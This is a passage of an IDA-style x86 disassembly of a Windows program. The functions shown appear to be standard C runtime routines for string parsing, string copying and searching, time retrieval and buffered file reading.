		mov	al, [eax+esi*2]
		and	eax, 4

loc_416979:				; CODE XREF: sub_416881+EBj
		test	eax, eax
		jz	short loc_416985
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4169B7
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416881+FAj
		cmp	dword_437F7C, 1
		jle	short loc_416999
		push	edi
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4169A4
; ---------------------------------------------------------------------------

loc_416999:				; CODE XREF: sub_416881+10Bj
		mov	eax, off_437D70
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_4169A4:				; CODE XREF: sub_416881+116j
		test	eax, eax
		jz	short loc_4169F2
		movsx	eax, bl
		push	eax
		call	sub_41AC71
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_4169B7:				; CODE XREF: sub_416881+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4169F2
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_4169DC
		jnz	short loc_4169D6
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_4169DC

loc_4169D6:				; CODE XREF: sub_416881+147j
		or	[ebp+arg_C], 4
		jmp	short loc_4169E5
; ---------------------------------------------------------------------------

loc_4169DC:				; CODE XREF: sub_416881+145j
					; sub_416881+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_4169E5:				; CODE XREF: sub_416881+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_416956
; ---------------------------------------------------------------------------

loc_4169F2:				; CODE XREF: sub_416881+125j
					; sub_416881+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_416A10
		test	edx, edx
		jz	short loc_416A0A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_416A0A:				; CODE XREF: sub_416881+181j
		and	[ebp+var_8], 0
		jmp	short loc_416A5D
; ---------------------------------------------------------------------------

loc_416A10:				; CODE XREF: sub_416881+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_416A36
		test	cl, 1
		jnz	short loc_416A5D
		and	ecx, 2
		jz	short loc_416A2D
		cmp	[ebp+var_8], 80000000h
		ja	short loc_416A36

loc_416A2D:				; CODE XREF: sub_416881+1A1j
		test	ecx, ecx
		jnz	short loc_416A5D
		cmp	[ebp+var_8], eax
		jbe	short loc_416A5D

loc_416A36:				; CODE XREF: sub_416881+197j
					; sub_416881+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_469494, 22h
		jz	short loc_416A4C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_416A5D
; ---------------------------------------------------------------------------

loc_416A4C:				; CODE XREF: sub_416881+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_416A5D:				; CODE XREF: sub_416881+18Dj
					; sub_416881+19Cj ...
		test	edx, edx
		jz	short loc_416A66
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_416A66:				; CODE XREF: sub_416881+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_416A74
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_416A74:				; CODE XREF: sub_416881+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_416A84
; ---------------------------------------------------------------------------

loc_416A79:				; CODE XREF: sub_416881+66j
					; sub_416881+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_416A82
		mov	[eax], edi

loc_416A82:				; CODE XREF: sub_416881+1FDj
		xor	eax, eax

loc_416A84:				; CODE XREF: sub_416881+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416881	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A89	proc near		; CODE XREF: sub_405409+4BDp
					; sub_40CE55+3641p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416881
		add	esp, 10h
		retn
sub_416A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AA0	proc near		; CODE XREF: sub_405409+266p
					; sub_405409+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_415CF0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AD3D
		add	esp, 10h
		leave
		retn
sub_416AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AD4	proc near		; CODE XREF: sub_405409+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_42105C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42115C	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_46948A
		jnz	short loc_416B39
		mov	ax, [ebp+var_18]
		cmp	ax, word_469488
		jnz	short loc_416B39
		mov	ax, [ebp+var_1A]
		cmp	ax, word_469486
		jnz	short loc_416B39
		mov	ax, [ebp+var_1E]
		cmp	ax, word_469482
		jnz	short loc_416B39
		mov	ax, [ebp+var_20]
		cmp	ax, word_469480
		jnz	short loc_416B39
		mov	eax, dword_469478
		jmp	short loc_416B7E
; ---------------------------------------------------------------------------

loc_416B39:				; CODE XREF: sub_416AD4+28j
					; sub_416AD4+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_421158	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416B66
		cmp	eax, 2
		jnz	short loc_416B62
		cmp	[ebp+var_32], 0
		jz	short loc_416B62
		cmp	[ebp+var_24], 0
		jz	short loc_416B62
		push	1
		pop	eax
		jmp	short loc_416B69
; ---------------------------------------------------------------------------

loc_416B62:				; CODE XREF: sub_416AD4+7Aj
					; sub_416AD4+81j ...
		xor	eax, eax
		jmp	short loc_416B69
; ---------------------------------------------------------------------------

loc_416B66:				; CODE XREF: sub_416AD4+75j
		or	eax, 0FFFFFFFFh

loc_416B69:				; CODE XREF: sub_416AD4+8Cj
					; sub_416AD4+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_469480
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_469478, eax
		pop	esi

loc_416B7E:				; CODE XREF: sub_416AD4+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41B7EE
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_416BAE
		mov	[ecx], eax

locret_416BAE:				; CODE XREF: sub_416AD4+D6j
		leave
		retn
sub_416AD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BB0	proc near		; CODE XREF: sub_405A89+4Ep
					; sub_406C3E+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416BD4
		xor	eax, eax
		jmp	loc_416C7D
; ---------------------------------------------------------------------------

loc_416BD4:				; CODE XREF: sub_416BB0+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416BE7
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416BF3
; ---------------------------------------------------------------------------

loc_416BE7:				; CODE XREF: sub_416BB0+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416BF3
; ---------------------------------------------------------------------------

loc_416BF0:				; CODE XREF: sub_416BB0+C4j
		mov	ecx, [ebp+arg_0]

loc_416BF3:				; CODE XREF: sub_416BB0+35j
					; sub_416BB0+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416C25
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416C25
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416C0A
		mov	edi, eax

loc_416C0A:				; CODE XREF: sub_416BB0+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4155D0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416C70
; ---------------------------------------------------------------------------

loc_416C25:				; CODE XREF: sub_416BB0+49j
					; sub_416BB0+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416C58
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416C3B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_416C3B:				; CODE XREF: sub_416BB0+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41B989
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416C82
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416C88
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416C70
; ---------------------------------------------------------------------------

loc_416C58:				; CODE XREF: sub_416BB0+78j
		push	esi
		call	sub_41B8B0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416C8C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_416C70:				; CODE XREF: sub_416BB0+73j
					; sub_416BB0+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416BF0
		mov	eax, [ebp+arg_8]

loc_416C7D:				; CODE XREF: sub_416BB0+1Fj
					; sub_416BB0+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_416C82:				; CODE XREF: sub_416BB0+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416C8C
; ---------------------------------------------------------------------------

loc_416C88:				; CODE XREF: sub_416BB0+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_416C8C:				; CODE XREF: sub_416BB0+B2j
					; sub_416BB0+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416C7D
sub_416BB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C98	proc near		; CODE XREF: sub_405B23+2B2p
					; sub_406100+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_416CB1:				; CODE XREF: sub_416C98+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_416CB1
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_416CD9
		mov	edx, dword_469490

loc_416CD9:				; CODE XREF: sub_416C98+39j
					; sub_416C98+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_416CF9
		test	al, al
		jz	short loc_416CF9
		inc	edx
		jmp	short loc_416CD9
; ---------------------------------------------------------------------------

loc_416CF9:				; CODE XREF: sub_416C98+58j
					; sub_416C98+5Cj
		mov	ebx, edx

loc_416CFB:				; CODE XREF: sub_416C98+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_416D1F
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_416D1B
		inc	edx
		jmp	short loc_416CFB
; ---------------------------------------------------------------------------

loc_416D1B:				; CODE XREF: sub_416C98+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_416D1F:				; CODE XREF: sub_416C98+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_469490, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_416C98	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D40	proc near		; CODE XREF: sub_4063B0+1B4p
					; sub_407276+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416DC3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416D64
		shr	ecx, 2
		jnz	short loc_416DD1
		jmp	short loc_416D85
; ---------------------------------------------------------------------------

loc_416D64:				; CODE XREF: sub_416D40+1Bj
					; sub_416D40+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416D92
		test	al, al
		jz	short loc_416D9A
		test	esi, 3
		jnz	short loc_416D64
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416DD1

loc_416D80:				; CODE XREF: sub_416D40+8Fj
		and	ebx, 3
		jz	short loc_416D92

loc_416D85:				; CODE XREF: sub_416D40+22j
					; sub_416D40+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416DBE
		dec	ebx
		jnz	short loc_416D85

loc_416D92:				; CODE XREF: sub_416D40+2Bj
					; sub_416D40+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_416D9A:				; CODE XREF: sub_416D40+2Fj
		test	edi, 3
		jz	short loc_416DB4

loc_416DA2:				; CODE XREF: sub_416D40+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416E36
		test	edi, 3
		jnz	short loc_416DA2

loc_416DB4:				; CODE XREF: sub_416D40+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E27

loc_416DBB:				; CODE XREF: sub_416D40+7Fj
					; sub_416D40+F4j
		mov	[edi], al
		inc	edi

loc_416DBE:				; CODE XREF: sub_416D40+4Dj
		dec	ebx
		jnz	short loc_416DBB
		pop	ebx
		pop	esi

loc_416DC3:				; CODE XREF: sub_416D40+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_416DC9:				; CODE XREF: sub_416D40+A9j
					; sub_416D40+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416D80

loc_416DD1:				; CODE XREF: sub_416D40+20j
					; sub_416D40+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416DC9
		test	dl, dl
		jz	short loc_416E1B
		test	dh, dh
		jz	short loc_416E11
		test	edx, 0FF0000h
		jz	short loc_416E07
		test	edx, 0FF000000h
		jnz	short loc_416DC9
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------

loc_416E07:				; CODE XREF: sub_416D40+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------

loc_416E11:				; CODE XREF: sub_416D40+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------

loc_416E1B:				; CODE XREF: sub_416D40+ADj
		xor	edx, edx
		mov	[edi], edx

loc_416E1F:				; CODE XREF: sub_416D40+C5j
					; sub_416D40+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416E31

loc_416E27:				; CODE XREF: sub_416D40+79j
		xor	eax, eax

loc_416E29:				; CODE XREF: sub_416D40+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416E29

loc_416E31:				; CODE XREF: sub_416D40+E5j
		and	ebx, 3
		jnz	short loc_416DBB

loc_416E36:				; CODE XREF: sub_416D40+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E3E	proc near		; CODE XREF: sub_406C3E+2E2p
					; sub_406C3E+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416EBA
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_416E5D
		cmp	edi, 1
		jz	short loc_416E5D
		cmp	edi, 2
		jnz	short loc_416EBA

loc_416E5D:				; CODE XREF: sub_416E3E+13j
					; sub_416E3E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_416E74
		push	esi
		call	sub_41BC19
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi

loc_416E74:				; CODE XREF: sub_416E3E+27j
		push	esi
		call	sub_4186E4
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_416E89
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_416E9D
; ---------------------------------------------------------------------------

loc_416E89:				; CODE XREF: sub_416E3E+42j
		test	al, 1
		jz	short loc_416E9D
		test	al, 8
		jz	short loc_416E9D
		test	ah, 4
		jnz	short loc_416E9D
		mov	dword ptr [esi+18h], 200h

loc_416E9D:				; CODE XREF: sub_416E3E+49j
					; sub_416E3E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41BB7F
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416EC7
; ---------------------------------------------------------------------------

loc_416EBA:				; CODE XREF: sub_416E3E+Bj
					; sub_416E3E+1Dj
		mov	dword_469494, 16h
		or	eax, 0FFFFFFFFh

loc_416EC7:				; CODE XREF: sub_416E3E+7Aj
		pop	edi
		pop	esi
		retn
sub_416E3E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ED0	proc near		; CODE XREF: sub_406C3E+2ACp
					; sub_406C3E+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_416F01
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_416EFF
		jz	short loc_416F01
		dec	ecx
		dec	ecx

loc_416EFF:				; CODE XREF: sub_416ED0+29j
		not	ecx

loc_416F01:				; CODE XREF: sub_416ED0+9j
					; sub_416ED0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_416ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416F10	proc near		; CODE XREF: sub_407135+5Cp
					; sub_407135+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416FC4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_416F3A

loc_416F2B:				; CODE XREF: sub_416F10+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_416F6B
		test	edi, 3
		jnz	short loc_416F2B

loc_416F3A:				; CODE XREF: sub_416F10+19j
					; sub_416F10+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_416F3A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416F78
		test	ah, ah
		jz	short loc_416F73
		test	eax, 0FF0000h
		jz	short loc_416F6E
		test	eax, 0FF000000h
		jnz	short loc_416F3A

loc_416F6B:				; CODE XREF: sub_416F10+20j
		dec	edi
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------

loc_416F6E:				; CODE XREF: sub_416F10+52j
		sub	edi, 2
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------

loc_416F73:				; CODE XREF: sub_416F10+4Bj
		sub	edi, 3
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------

loc_416F78:				; CODE XREF: sub_416F10+47j
		sub	edi, 4

loc_416F7B:				; CODE XREF: sub_416F10+5Cj
					; sub_416F10+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416F90
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FDC
		jmp	short loc_416FAC
; ---------------------------------------------------------------------------

loc_416F90:				; CODE XREF: sub_416F10+75j
					; sub_416F10+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_416FCA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416FC0
		test	esi, 3
		jnz	short loc_416F90
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FDC

loc_416FAC:				; CODE XREF: sub_416F10+7Ej
					; sub_416F10+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416FC0

loc_416FB3:				; CODE XREF: sub_416F10+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416FC2
		dec	ecx
		jnz	short loc_416FB3

loc_416FC0:				; CODE XREF: sub_416F10+8Bj
					; sub_416F10+A1j
		mov	[edi], cl

loc_416FC2:				; CODE XREF: sub_416F10+ABj
		pop	ebx
		pop	esi

loc_416FC4:				; CODE XREF: sub_416F10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_416FCA:				; CODE XREF: sub_416F10+85j
					; sub_416F10+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_416FD4:				; CODE XREF: sub_416F10+E4j
					; sub_416F10+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416FAC

loc_416FDC:				; CODE XREF: sub_416F10+7Cj
					; sub_416F10+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416FD4
		test	dl, dl
		jz	short loc_416FCA
		test	dh, dh
		jz	short loc_417028
		test	edx, 0FF0000h
		jz	short loc_417018
		test	edx, 0FF000000h
		jnz	short loc_416FD4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417018:				; CODE XREF: sub_416F10+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417028:				; CODE XREF: sub_416F10+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417040	proc near		; CODE XREF: sub_407276+2A2p
					; sub_40CE55+30AFp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_417061
		xor	eax, eax
		jmp	short loc_417063
; ---------------------------------------------------------------------------

loc_417061:				; CODE XREF: sub_417040+1Bj
		mov	eax, edi

loc_417063:				; CODE XREF: sub_417040+1Fj
		cld
		pop	edi
		leave
		retn
sub_417040	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_417080

loc_417070:				; CODE XREF: sub_417080+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_417080
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417080	proc near		; CODE XREF: sub_4085D3+DBp
					; sub_40CE55+411p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00417070 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_417086:				; CODE XREF: sub_415AC0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4170AB

loc_417098:				; CODE XREF: sub_417080+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_417070
		test	cl, cl
		jz	short loc_4170F4
		test	edx, 3
		jnz	short loc_417098

loc_4170AB:				; CODE XREF: sub_417080+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_4170B6:				; CODE XREF: sub_417080+61j
					; sub_417080+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4170F8
		and	eax, 81010100h
		jz	short loc_4170B6
		and	eax, 1010100h
		jnz	short loc_4170F2
		and	esi, 80000000h
		jnz	short loc_4170B6

loc_4170F2:				; CODE XREF: sub_417080+68j
					; sub_417080+81j ...
		pop	esi
		pop	edi

loc_4170F4:				; CODE XREF: sub_417080+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4170F8:				; CODE XREF: sub_417080+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_417135
		test	al, al
		jz	short loc_4170F2
		cmp	ah, bl
		jz	short loc_41712E
		test	ah, ah
		jz	short loc_4170F2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_417127
		test	al, al
		jz	short loc_4170F2
		cmp	ah, bl
		jz	short loc_417120
		test	ah, ah
		jz	short loc_4170F2
		jmp	short loc_4170B6
; ---------------------------------------------------------------------------

loc_417120:				; CODE XREF: sub_417080+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_417127:				; CODE XREF: sub_417080+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41712E:				; CODE XREF: sub_417080+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_417135:				; CODE XREF: sub_417080+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
